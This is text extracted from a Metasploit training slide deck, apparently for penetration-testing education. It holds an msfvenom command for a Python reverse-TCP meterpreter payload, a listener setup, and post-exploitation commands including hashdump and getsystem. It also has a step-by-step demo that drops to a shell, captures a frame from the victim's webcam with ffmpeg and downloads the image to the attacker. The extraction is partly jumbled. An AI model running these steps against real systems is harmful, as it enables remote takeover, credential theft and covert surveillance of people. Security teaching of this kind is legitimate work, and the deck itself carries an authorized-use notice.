Metasploit Framework
Penetration Testing & Ethical Hacking
⚠ For educational and authorized use only
What is Metasploit?
Open-source penetration testing platform — the industry standard for vulnerability assessment and exploit
development.
2600+ 1700+
Exploits Payloads
Multi-platform coverage Custom & staged
500+
Auxiliary Modules
Scanners & fuzzers
Exploit Payload
Abuse vulnerabilities to gain access Code executed post-exploitation
Post-Exploitation
Escalate, pivot, exfiltrate
Architecture: Attack Flow
Start Listener
Deliver Payload
Execute Payload
Establish Reverse TCP
Reverse TCP connections bypass firewalls — the victim initiates the outbound connection to the attacker's listener.
msfvenom — Payload Generation
msfvenom -p python/meterpreter/reverse_tcp -p LHOST
\
LHOST=YOUR_KALI_IP LPORT=4444 \ Payload type Attacker IP
-f raw -o [Link]
LPORT -f raw
Listener port Raw output format
-o
Output filename
msfconsole — Listener Setup
use exploit/multi/handler use exploit/multi/ set payload
set payload python/meterpreter/reverse_tcp handler
set LHOST [Link] Match msfvenom
set LPORT 4444 payload
run Generic payload handler
set LHOST [Link] run
Start listener, await
Listen on all interfaces connection
Meterpreter — Post-Exploitation Commands
System Info
sysinfo
getuid
ps
File System
download
upload
search -f
Network
ipconfig
arp
netstat
Privilege Escalation
getsystem
hashdump
shell
Webcam Capture — Live Demo
shell shell [Link]
python3 -c "import pty; [Link]('/bin/
bash')" Drop to native OS shell Upgrade to interactive
apt install ffmpeg -y TTY
ffmpeg -f v4l2 -input_format nv12 \
-video_size 640x480 -i /dev/video0 \
-ss 3 -frames:v 1 -update 1 \ ffmpeg download
[Link] -y
Capture single frame Exfiltrate image to
exit
from /dev/video0 attacker
download [Link]
⚠ Requires physical webcam on victim
Ethical Use & Legal Notice
✅ Authorized Use 🚫 Prohibited Use
• Own machines & lab environments • Unauthorized access — criminal offense
• CTF platforms & training labs • Violates CFAA & IT Act
• Written, authorized penetration tests • Penalties: imprisonment & fines
⚖ Always obtain written authorization before testing any system you do not own.